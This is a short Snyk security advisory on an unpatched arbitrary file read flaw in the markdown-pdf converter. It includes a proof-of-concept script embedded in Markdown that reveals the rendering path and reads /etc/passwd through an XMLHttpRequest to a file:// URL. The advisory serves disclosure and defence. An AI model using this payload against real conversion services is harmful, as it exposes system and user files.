Arbitrary File Read Affecting markdown-pdf package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.19% (57th
percentile)
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Test your applications- Snyk ID SNYK-JS-MARKDOWNPDF-5411358
- published 5 Apr 2023
- disclosed 5 Apr 2023
- credit Carlos Bello from Fluid Attacks' Offensive Team.
How to fix?
There is no fixed version for markdown-pdf.
Overview
markdown-pdf is a Markdown to PDF converter.
Affected versions of this package are vulnerable to Arbitrary File Read due to improper validation of the Markdown content entered by the user.
PoC
<script>
// Path Disclosure
document.write(window.location);
// Arbitrary Local File Read
xhr = new XMLHttpRequest;
xhr.onload=function(){document.write((this.responseText))};
xhr.open("GET","file:///etc/passwd");
xhr.send();
</script>